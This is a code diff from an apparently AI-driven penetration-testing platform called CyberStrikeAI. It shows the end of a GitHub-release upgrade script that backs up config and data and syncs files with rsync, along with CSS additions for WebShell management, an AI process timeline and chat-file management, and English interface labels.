info "Fetching latest Release..."
|
||||
local json
|
||||
json="$(http_get "$api_url")"
|
||||
TAG="$(printf '%s' "$json" | python3 - <<'PY'
|
||||
import json, sys
|
||||
data=json.loads(sys.stdin.read() or "{}")
|
||||
print(data.get("tag_name",""))
|
||||
PY
|
||||
)"
|
||||
|
||||
if [[ -z "$TAG" ]]; then
|
||||
local msg
|
||||
msg="$(printf '%s' "$json" | python3 -c "import sys,json; d=json.loads(sys.stdin.read() or '{}'); print(d.get('message',''))" 2>/dev/null || true)"
|
||||
|
||||
# Fallback: try query releases list (sometimes latest endpoint returns error JSON without tag_name).
|
||||
local fallback_url="https://api.github.com/repos/${GITHUB_REPO}/releases?per_page=1"
|
||||
info "Fallback to: ${fallback_url}"
|
||||
local fallback_json
|
||||
fallback_json="$(http_get "$fallback_url" 2>/dev/null || true)"
|
||||
local fallback_tag
|
||||
fallback_tag="$(printf '%s' "$fallback_json" | python3 -c "import sys,json; d=json.loads(sys.stdin.read() or '[]'); print(d[0].get('tag_name','') if isinstance(d,list) and d else '')" 2>/dev/null || true)"
|
||||
|
||||
if [[ -n "$fallback_tag" ]]; then
|
||||
TAG="$fallback_tag"
|
||||
info "Latest Release tag (fallback): $TAG"
|
||||
return 0
|
||||
fi
|
||||
|
||||
local snippet
|
||||
snippet="$(printf '%s' "$json" | python3 -c "import sys; s=sys.stdin.read(); print(s[:300].replace('\\n',' '))" 2>/dev/null || true)"
|
||||
|
||||
if [[ -n "$msg" ]]; then
|
||||
err "Failed to fetch latest tag: ${msg}"
|
||||
else
|
||||
err "Failed to fetch latest tag."
|
||||
fi
|
||||
if [[ -n "$snippet" ]]; then
|
||||
err "API response snippet: ${snippet}"
|
||||
fi
|
||||
err "Please try using --tag to specify the version, or set export GITHUB_TOKEN=\"...\"."
|
||||
exit 1
|
||||
fi
|
||||
info "Latest Release tag: $TAG"
|
||||
}
|
||||
|
||||
update_config_version() {
|
||||
# Replace config.yaml's version: ... with the specified tag.
|
||||
local new_tag="$1"
|
||||
python3 - "$CONFIG_FILE" "$new_tag" <<PY
|
||||
import re, sys
|
||||
path=sys.argv[1]
|
||||
tag=sys.argv[2]
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
lines=f.readlines()
|
||||
|
||||
out=[]
|
||||
replaced=False
|
||||
for line in lines:
|
||||
if re.match(r'^\s*version\s*:', line):
|
||||
out.append(f'version: "{tag}"\\n')
|
||||
replaced=True
|
||||
else:
|
||||
out.append(line)
|
||||
|
||||
if not replaced:
|
||||
# If no version field is found, insert at the beginning (near the top).
|
||||
out.insert(0, f'version: "{tag}"\\n')
|
||||
|
||||
with open(path, "w", encoding="utf-8") as f:
|
||||
f.writelines(out)
|
||||
PY
|
||||
}
|
||||
|
||||
sync_code() {
|
||||
local tmp_dir="$1"
|
||||
local new_src_dir="$2"
|
||||
|
||||
# rsync sync: overwrite files from the new version and delete removed files.
|
||||
# Preserve user data/config (and optional directories).
|
||||
|
||||
if ! have_cmd rsync; then
|
||||
err "rsync not found. This script depends on rsync for safe synchronization. Please install it and retry."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
local -a rsync_excludes
|
||||
rsync_excludes+=( "--exclude=.upgrade-backup/" )
|
||||
rsync_excludes+=( "--exclude=config.yaml" )
|
||||
rsync_excludes+=( "--exclude=data/" )
|
||||
|
||||
if [[ "$PRESERVE_VENV" -eq 1 ]]; then
|
||||
rsync_excludes+=( "--exclude=venv/" )
|
||||
fi
|
||||
|
||||
# knowledge_base may not be referenced in config, but many users treat it as the knowledge files directory.
|
||||
if [[ -d "$KNOWLEDGE_BASE_DIR" ]]; then
|
||||
rsync_excludes+=( "--exclude=knowledge_base/" )
|
||||
fi
|
||||
|
||||
if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
|
||||
rsync_excludes+=( "--exclude=roles/" )
|
||||
rsync_excludes+=( "--exclude=skills/" )
|
||||
rsync_excludes+=( "--exclude=tools/" )
|
||||
fi
|
||||
|
||||
# Ensure this upgrade script itself is not deleted.
|
||||
rsync_excludes+=( "--exclude=upgrade.sh" )
|
||||
|
||||
# shellcheck disable=SC2068
|
||||
info "Syncing code into current directory (preserving data/config; using rsync --delete)..."
|
||||
rsync -a --delete \
|
||||
${rsync_excludes[@]} \
|
||||
"${new_src_dir}/" "${ROOT_DIR}/"
|
||||
}
|
||||
|
||||
main() {
|
||||
ensure_git_style_env
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
--tag)
|
||||
TAG="${2:-}"
|
||||
shift 2
|
||||
;;
|
||||
--preserve-custom)
|
||||
PRESERVE_CUSTOM=1
|
||||
shift 1
|
||||
;;
|
||||
--no-venv)
|
||||
PRESERVE_VENV=0
|
||||
shift 1
|
||||
;;
|
||||
--no-stop)
|
||||
STOP_SERVICE=0
|
||||
shift 1
|
||||
;;
|
||||
--force-stop)
|
||||
FORCE_STOP=1
|
||||
shift 1
|
||||
;;
|
||||
--yes)
|
||||
YES=1
|
||||
shift 1
|
||||
;;
|
||||
-h|--help)
|
||||
usage
|
||||
exit 0
|
||||
;;
|
||||
*)
|
||||
err "Unknown parameter: $1"
|
||||
usage
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
confirm_or_exit
|
||||
|
||||
stop_service
|
||||
|
||||
resolve_tag
|
||||
|
||||
local ts
|
||||
ts="$(date +"%Y%m%d_%H%M%S")"
|
||||
BACKUP_BASE_DIR="${BACKUP_BASE_DIR}/${ts}"
|
||||
mkdir -p "$BACKUP_BASE_DIR"
|
||||
|
||||
info "Starting backup into: $BACKUP_BASE_DIR"
|
||||
backup_config
|
||||
backup_dir_tgz "data" "$DATA_DIR"
|
||||
if [[ "$PRESERVE_VENV" -eq 1 ]]; then
|
||||
backup_dir_tgz "venv" "$VENV_DIR"
|
||||
else
|
||||
if [[ -d "$VENV_DIR" ]]; then
|
||||
warn "With --no-venv: removing old venv/ (run.sh will re-install Python deps after upgrade)."
|
||||
rm -rf "$VENV_DIR"
|
||||
fi
|
||||
fi
|
||||
if [[ -d "$KNOWLEDGE_BASE_DIR" ]]; then
|
||||
backup_dir_tgz "knowledge_base" "$KNOWLEDGE_BASE_DIR"
|
||||
fi
|
||||
if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
|
||||
backup_dir_tgz "roles" "$ROOT_DIR/roles"
|
||||
backup_dir_tgz "skills" "$ROOT_DIR/skills"
|
||||
backup_dir_tgz "tools" "$ROOT_DIR/tools"
|
||||
fi
|
||||
|
||||
local tmp_dir
|
||||
tmp_dir="$(mktemp -d)"
|
||||
trap 'rm -rf "$tmp_dir" >/dev/null 2>&1 || true' EXIT
|
||||
|
||||
local tarball="${tmp_dir}/source.tar.gz"
|
||||
local url="https://github.com/${GITHUB_REPO}/archive/refs/tags/${TAG}.tar.gz"
|
||||
info "Downloading source package: ${url}"
|
||||
http_get "$url" >"$tarball"
|
||||
|
||||
info "Extracting source package..."
|
||||
tar -xzf "$tarball" -C "$tmp_dir"
|
||||
|
||||
# GitHub tarball usually creates a top-level directory.
|
||||
local extracted_dir
|
||||
extracted_dir="$(ls -d "${tmp_dir}"/*/ 2>/dev/null | head -n 1 || true)"
|
||||
if [[ -z "$extracted_dir" || ! -f "${extracted_dir}/run.sh" ]]; then
|
||||
err "run.sh not found in the extracted directory. Please check network/download contents."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
sync_code "$tmp_dir" "$extracted_dir"
|
||||
|
||||
# Update config.yaml version display
|
||||
if [[ -f "$CONFIG_FILE" ]]; then
|
||||
info "Updating config.yaml version field to: $TAG"
|
||||
update_config_version "$TAG"
|
||||
fi
|
||||
|
||||
info "Upgrade complete. Starting service..."
|
||||
chmod +x ./run.sh
|
||||
./run.sh
|
||||
}
|
||||
|
||||
main "$@"
|
||||
|
||||
+629
-2
@@ -51,11 +51,14 @@ body {
|
||||
flex: 1;
|
||||
overflow: hidden;
|
||||
min-height: 0;
|
||||
/* 主侧边栏与右侧内容之间预留水平间距,避免导航项文字贴到内容边框 */
|
||||
column-gap: 0px;
|
||||
}
|
||||
|
||||
/* 主侧边栏样式 - 紧凑宽度,参考常见后台 200~220px */
|
||||
.main-sidebar {
|
||||
width: 208px;
|
||||
/* 稍微拉宽侧边栏,给多语言菜单文案更多缓冲空间 */
|
||||
width: 224px;
|
||||
background: linear-gradient(180deg, #fafbfc 0%, #f5f7fa 100%);
|
||||
color: var(--text-primary);
|
||||
display: flex;
|
||||
@@ -164,7 +167,8 @@ body {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
padding: 10px 16px;
|
||||
/* 侧边栏导航项:左 16px 对齐图标,右 32px 预留更大安全间距,避免长文案贴边 */
|
||||
padding: 10px 32px 10px 16px;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
color: var(--text-primary);
|
||||
@@ -240,6 +244,9 @@ body {
|
||||
font-size: 0.9375rem;
|
||||
font-weight: 400;
|
||||
white-space: nowrap;
|
||||
/* 防止长标题顶到边界:在右侧内边距内做省略而不是越界 */
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
opacity: 1;
|
||||
transition: opacity 0.2s ease;
|
||||
}
|
||||
@@ -3440,6 +3447,27 @@ header {
|
||||
|
||||
.terminal-container .xterm-viewport {
|
||||
border-radius: 0;
|
||||
/* 与 WebShell 终端一致:细窄、深色,避免系统默认浅色粗滚动条 */
|
||||
scrollbar-width: thin;
|
||||
scrollbar-color: rgba(110, 118, 129, 0.5) transparent;
|
||||
}
|
||||
.terminal-container .xterm-viewport::-webkit-scrollbar {
|
||||
width: 6px;
|
||||
}
|
||||
.terminal-container .xterm-viewport::-webkit-scrollbar-track {
|
||||
background: transparent;
|
||||
margin: 4px 0;
|
||||
border-radius: 3px;
|
||||
}
|
||||
.terminal-container .xterm-viewport::-webkit-scrollbar-thumb {
|
||||
background: rgba(110, 118, 129, 0.4);
|
||||
border-radius: 3px;
|
||||
}
|
||||
.terminal-container .xterm-viewport::-webkit-scrollbar-thumb:hover {
|
||||
background: rgba(110, 118, 129, 0.65);
|
||||
}
|
||||
.terminal-container .xterm-viewport::-webkit-scrollbar-thumb:active {
|
||||
background: rgba(139, 148, 158, 0.7);
|
||||
}
|
||||
|
||||
.terminal-error {
|
||||
@@ -8565,6 +8593,28 @@ header {
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.webshell-conn-search {
|
||||
padding: 10px 14px;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
background: rgba(255, 255, 255, 0.4);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.webshell-conn-search-input {
|
||||
width: 100%;
|
||||
padding: 8px 12px;
|
||||
border-radius: 8px;
|
||||
border: 1px solid var(--border-color);
|
||||
font-size: 0.9rem;
|
||||
background: var(--bg-secondary);
|
||||
}
|
||||
|
||||
.webshell-conn-search-input:focus {
|
||||
outline: none;
|
||||
border-color: var(--accent-color);
|
||||
box-shadow: 0 0 0 2px rgba(0, 102, 255, 0.12);
|
||||
}
|
||||
|
||||
.webshell-sidebar-header::before {
|
||||
content: '';
|
||||
display: inline-block;
|
||||
@@ -9230,6 +9280,78 @@ header {
|
||||
max-height: 120px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.webshell-ai-process-block.process-details-container {
|
||||
margin-top: 8px;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
.webshell-ai-process-block.process-details-container {
|
||||
/* 让“渗透测试详情”视觉上跟随助手气泡宽度,而不是强行 100% 宽 */
|
||||
width: auto;
|
||||
max-width: 80%;
|
||||
align-self: flex-start;
|
||||
/* 覆盖通用 .process-details-container 的边框/内边距,避免重复一层“边框卡片” */
|
||||
border-top: none;
|
||||
padding-top: 0;
|
||||
margin-top: 10px;
|
||||
}
|
||||
.webshell-ai-process-toggle {
|
||||
display: block;
|
||||
width: 100%;
|
||||
padding: 10px 14px;
|
||||
text-align: left;
|
||||
font-size: 0.9rem;
|
||||
color: var(--text-secondary);
|
||||
background: var(--bg-secondary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 10px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.webshell-ai-process-toggle:hover {
|
||||
color: var(--text-primary);
|
||||
background: var(--bg-tertiary);
|
||||
}
|
||||
.webshell-ai-process-block .process-details-content .progress-timeline {
|
||||
max-height: 0;
|
||||
overflow: hidden;
|
||||
transition: max-height 0.3s ease;
|
||||
}
|
||||
.webshell-ai-process-block .process-details-content .progress-timeline {
|
||||
/* 避免与外层卡片重复背景/边框 */
|
||||
background: transparent;
|
||||
border: none;
|
||||
padding: 0;
|
||||
width: 100%;
|
||||
margin-top: 10px;
|
||||
gap: 0;
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline {
|
||||
background: transparent;
|
||||
border: none;
|
||||
padding: 0;
|
||||
border-radius: 0;
|
||||
margin-bottom: 0;
|
||||
width: 100%;
|
||||
}
|
||||
.webshell-ai-process-block .process-details-content .progress-timeline.expanded {
|
||||
max-height: 2000px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
/* 展开后才把宽度撑满;未展开时保持折叠按钮“缩回去”的视觉 */
|
||||
.webshell-ai-process-block.process-details-container:has(.progress-timeline.expanded) {
|
||||
width: 100%;
|
||||
max-width: 80%;
|
||||
align-self: flex-start;
|
||||
}
|
||||
.webshell-ai-process-block.process-details-container:has(.progress-timeline.expanded) .webshell-ai-process-toggle {
|
||||
width: 100%;
|
||||
}
|
||||
.webshell-ai-process-block.process-details-container:has(.progress-timeline.expanded) .process-details-content .progress-timeline {
|
||||
width: 100%;
|
||||
}
|
||||
.webshell-ai-process-block.process-details-container:has(.progress-timeline.expanded) .webshell-ai-timeline {
|
||||
width: 100%;
|
||||
}
|
||||
.webshell-ai-old-conv {
|
||||
width: 100%;
|
||||
margin-bottom: 8px;
|
||||
@@ -9259,6 +9381,37 @@ header {
|
||||
flex-direction: column;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
/* 让 timeline item 更“像条目”而不是松散的分隔块 */
|
||||
.webshell-ai-process-block .webshell-ai-timeline-item {
|
||||
border-left: 3px solid transparent;
|
||||
padding: 10px 0 10px 12px;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline-item:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline-msg {
|
||||
/* 避免每条详情都出现内层滚动条(体验会显得很“碎”) */
|
||||
max-height: none;
|
||||
overflow-y: visible;
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline-iteration {
|
||||
border-left-color: var(--accent-color);
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline-thinking {
|
||||
border-left-color: #9c27b0;
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline-tool_call,
|
||||
.webshell-ai-process-block .webshell-ai-timeline-tool_calls_detected {
|
||||
border-left-color: #ff9800;
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline-tool_result {
|
||||
border-left-color: var(--success-color);
|
||||
}
|
||||
.webshell-ai-process-block .webshell-ai-timeline-error {
|
||||
border-left-color: var(--error-color);
|
||||
}
|
||||
.webshell-ai-messages {
|
||||
flex: 1;
|
||||
min-height: 0;
|
||||
@@ -12728,3 +12881,477 @@ header {
|
||||
}
|
||||
}
|
||||
|
||||
/* 对话附件文件管理 */
|
||||
.chat-files-intro {
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.9rem;
|
||||
margin-bottom: 16px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.chat-files-filters {
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.chat-files-table-wrap {
|
||||
overflow-x: auto;
|
||||
background: var(--bg-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
/* 分组视图:外层不再套一层大边框,由各分组卡片承担 */
|
||||
.chat-files-table-wrap.chat-files-table-wrap--grouped {
|
||||
border: none;
|
||||
background: transparent;
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/* GitHub 式:单表 + 首列缩进,无嵌套子表、无重复表头 */
|
||||
.chat-files-table-wrap.chat-files-table-wrap--tree {
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
background: var(--bg-primary);
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.chat-files-browse-wrap {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0;
|
||||
}
|
||||
|
||||
.chat-files-browse-toolbar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 10px 16px;
|
||||
padding: 10px 12px;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
background: var(--bg-secondary, #f8f9fa);
|
||||
}
|
||||
|
||||
.chat-files-breadcrumb {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 4px 2px;
|
||||
font-size: 0.8125rem;
|
||||
line-height: 1.4;
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.chat-files-breadcrumb-link {
|
||||
border: none;
|
||||
background: none;
|
||||
padding: 2px 4px;
|
||||
margin: 0;
|
||||
font: inherit;
|
||||
color: var(--accent-color);
|
||||
cursor: pointer;
|
||||
border-radius: 4px;
|
||||
max-width: 100%;
|
||||
text-align: left;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.chat-files-breadcrumb-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.chat-files-breadcrumb-sep {
|
||||
color: var(--text-secondary);
|
||||
user-select: none;
|
||||
padding: 0 2px;
|
||||
}
|
||||
|
||||
.chat-files-breadcrumb-current {
|
||||
color: var(--text-primary);
|
||||
font-weight: 600;
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.chat-files-browse-up {
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.chat-files-browse-up:disabled {
|
||||
opacity: 0.45;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.chat-files-tr-folder--nav {
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.chat-files-tr-folder--nav:hover {
|
||||
background: rgba(0, 102, 255, 0.06);
|
||||
}
|
||||
|
||||
.chat-files-folder-empty {
|
||||
text-align: center;
|
||||
color: var(--text-secondary);
|
||||
padding: 24px 12px !important;
|
||||
}
|
||||
|
||||
.chat-files-table--tree-flat {
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
|
||||
.chat-files-table--tree-flat thead th {
|
||||
background: var(--bg-secondary, #f8f9fa);
|
||||
}
|
||||
|
||||
.chat-files-table--tree-flat .chat-files-tr-folder {
|
||||
background: var(--bg-primary);
|
||||
}
|
||||
|
||||
.chat-files-table--tree-flat .chat-files-tr-folder .chat-files-tree-name-cell--folder {
|
||||
font-weight: 600;
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.chat-files-table--tree-flat .chat-files-tr-file:hover {
|
||||
background: rgba(128, 128, 128, 0.04);
|
||||
}
|
||||
|
||||
.chat-files-tree-icon {
|
||||
flex-shrink: 0;
|
||||
color: var(--accent-color);
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.chat-files-tree-icon path {
|
||||
fill: var(--bg-primary);
|
||||
stroke: var(--accent-color);
|
||||
}
|
||||
|
||||
.chat-files-tree-file-icon {
|
||||
flex-shrink: 0;
|
||||
color: var(--text-secondary);
|
||||
opacity: 0.85;
|
||||
}
|
||||
|
||||
.chat-files-tree-name-cell {
|
||||
max-width: min(100%, 560px);
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.chat-files-tree-name-inner {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.chat-files-tree-name-text {
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
font-size: 0.8125rem;
|
||||
word-break: break-all;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
.chat-files-tree-muted {
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
|
||||
.chat-files-path-breadcrumb {
|
||||
display: inline-flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 4px 2px;
|
||||
line-height: 1.45;
|
||||
max-width: 100%;
|
||||
}
|
||||
|
||||
.chat-files-path-sep {
|
||||
color: var(--text-secondary);
|
||||
font-weight: 500;
|
||||
user-select: none;
|
||||
padding: 0 2px;
|
||||
}
|
||||
|
||||
.chat-files-path-crumb {
|
||||
color: var(--text-primary);
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.chat-files-path-root {
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
|
||||
.chat-files-grouped {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.chat-files-group {
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
background: var(--bg-primary);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.chat-files-group > summary.chat-files-group-summary {
|
||||
list-style: none;
|
||||
cursor: pointer;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
padding: 10px 14px;
|
||||
background: var(--bg-secondary, #f8f9fa);
|
||||
font-weight: 600;
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-primary);
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.chat-files-group > summary.chat-files-group-summary::-webkit-details-marker {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.chat-files-group > summary.chat-files-group-summary::before {
|
||||
content: '';
|
||||
display: inline-block;
|
||||
width: 0;
|
||||
height: 0;
|
||||
border-left: 5px solid transparent;
|
||||
border-right: 5px solid transparent;
|
||||
border-top: 6px solid var(--text-secondary);
|
||||
margin-right: 2px;
|
||||
transform: rotate(-90deg);
|
||||
transition: transform 0.15s ease;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.chat-files-group[open] > summary.chat-files-group-summary::before {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
|
||||
.chat-files-group-title {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
|
||||
.chat-files-group-count {
|
||||
flex-shrink: 0;
|
||||
font-weight: 500;
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
|
||||
.chat-files-group-body {
|
||||
overflow-x: auto;
|
||||
border-top: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.chat-files-group-body .chat-files-table {
|
||||
border-radius: 0;
|
||||
}
|
||||
|
||||
.chat-files-group-body .chat-files-table th {
|
||||
background: var(--bg-primary);
|
||||
}
|
||||
|
||||
.chat-files-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-size: 0.875rem;
|
||||
}
|
||||
|
||||
.chat-files-table th,
|
||||
.chat-files-table td {
|
||||
padding: 10px 12px;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
text-align: left;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.chat-files-table th {
|
||||
font-weight: 600;
|
||||
color: var(--text-secondary);
|
||||
background: var(--bg-secondary, #f8f9fa);
|
||||
}
|
||||
|
||||
.chat-files-table tr:last-child td {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.chat-files-cell-name {
|
||||
max-width: 280px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.chat-files-cell-conv code {
|
||||
font-size: 0.8rem;
|
||||
max-width: 160px;
|
||||
display: inline-block;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
vertical-align: bottom;
|
||||
}
|
||||
|
||||
.chat-files-cell-subpath {
|
||||
max-width: 280px;
|
||||
font-size: 0.8125rem;
|
||||
color: var(--text-secondary);
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.chat-files-group-title--folder {
|
||||
white-space: normal;
|
||||
word-break: break-all;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
.chat-files-actions {
|
||||
display: flex;
|
||||
flex-wrap: nowrap;
|
||||
gap: 4px;
|
||||
align-items: center;
|
||||
overflow: visible;
|
||||
position: relative;
|
||||
vertical-align: middle;
|
||||
}
|
||||
|
||||
.chat-files-action-bar {
|
||||
display: flex;
|
||||
flex-wrap: nowrap;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
}
|
||||
|
||||
.chat-files-action-bar .btn-icon {
|
||||
min-width: 34px;
|
||||
min-height: 34px;
|
||||
padding: 6px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.chat-files-dropdown-wrap {
|
||||
position: relative;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.chat-files-dropdown {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: calc(100% + 4px);
|
||||
min-width: 220px;
|
||||
padding: 8px 0;
|
||||
margin: 0;
|
||||
list-style: none;
|
||||
background: var(--bg-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
box-shadow: var(--shadow-lg);
|
||||
z-index: 400;
|
||||
}
|
||||
|
||||
/* JS 使用 fixed 定位时覆盖 absolute,避免被表格区域 overflow 裁切 */
|
||||
.chat-files-dropdown.chat-files-dropdown-fixed {
|
||||
position: fixed;
|
||||
right: auto;
|
||||
}
|
||||
|
||||
.chat-files-dropdown-item {
|
||||
display: block;
|
||||
width: 100%;
|
||||
min-height: 40px;
|
||||
padding: 10px 16px;
|
||||
box-sizing: border-box;
|
||||
border: none;
|
||||
background: none;
|
||||
text-align: left;
|
||||
font-size: 0.875rem;
|
||||
color: var(--text-primary);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s ease;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
button.chat-files-dropdown-item:hover:not(:disabled) {
|
||||
background: var(--bg-secondary);
|
||||
}
|
||||
|
||||
.chat-files-dropdown-item.is-danger {
|
||||
color: #dc3545;
|
||||
}
|
||||
|
||||
.chat-files-dropdown-item.is-danger:hover:not(:disabled) {
|
||||
background: rgba(220, 53, 69, 0.08);
|
||||
}
|
||||
|
||||
.chat-files-dropdown-item.is-disabled {
|
||||
color: var(--text-secondary);
|
||||
cursor: not-allowed;
|
||||
font-size: 0.8125rem;
|
||||
}
|
||||
|
||||
.chat-files-no-edit {
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.8125rem;
|
||||
cursor: help;
|
||||
user-select: none;
|
||||
padding: 0 4px;
|
||||
}
|
||||
|
||||
.chat-files-modal-path {
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-secondary);
|
||||
margin-bottom: 8px;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.chat-files-edit-textarea {
|
||||
width: 100%;
|
||||
min-height: 240px;
|
||||
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
|
||||
font-size: 0.875rem;
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.chat-files-rename-label {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.chat-files-toast {
|
||||
position: fixed;
|
||||
z-index: 1100;
|
||||
bottom: 28px;
|
||||
left: 50%;
|
||||
transform: translateX(-50%) translateY(12px);
|
||||
max-width: min(520px, calc(100vw - 32px));
|
||||
padding: 12px 18px;
|
||||
background: var(--text-primary, #1a1a1a);
|
||||
color: #fff;
|
||||
border-radius: 8px;
|
||||
font-size: 0.875rem;
|
||||
line-height: 1.45;
|
||||
box-shadow: var(--shadow-lg);
|
||||
opacity: 0;
|
||||
transition: opacity 0.25s ease, transform 0.25s ease;
|
||||
pointer-events: none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.chat-files-toast.chat-files-toast-visible {
|
||||
opacity: 1;
|
||||
transform: translateX(-50%) translateY(0);
|
||||
}
|
||||
|
||||
|
||||
+74
-11
@@ -24,6 +24,7 @@
|
||||
"header": {
|
||||
"title": "CyberStrikeAI",
|
||||
"apiDocs": "API Docs",
|
||||
"github": "GitHub",
|
||||
"logout": "Sign out",
|
||||
"language": "Interface language",
|
||||
"backToDashboard": "Back to dashboard",
|
||||
@@ -45,17 +46,18 @@
|
||||
"tasks": "Tasks",
|
||||
"vulnerabilities": "Vulnerabilities",
|
||||
"webshell": "WebShell Management",
|
||||
"chatFiles": "File Management",
|
||||
"mcp": "MCP",
|
||||
"mcpMonitor": "MCP Monitor",
|
||||
"mcpManagement": "MCP Management",
|
||||
"knowledge": "Knowledge",
|
||||
"knowledgeRetrievalLogs": "Retrieval history",
|
||||
"knowledgeManagement": "Knowledge management",
|
||||
"knowledgeManagement": "Knowledge Management",
|
||||
"skills": "Skills",
|
||||
"skillsMonitor": "Skills monitor",
|
||||
"skillsManagement": "Skills management",
|
||||
"skillsManagement": "Skills Management",
|
||||
"roles": "Roles",
|
||||
"rolesManagement": "Roles management",
|
||||
"rolesManagement": "Roles Management",
|
||||
"settings": "System settings"
|
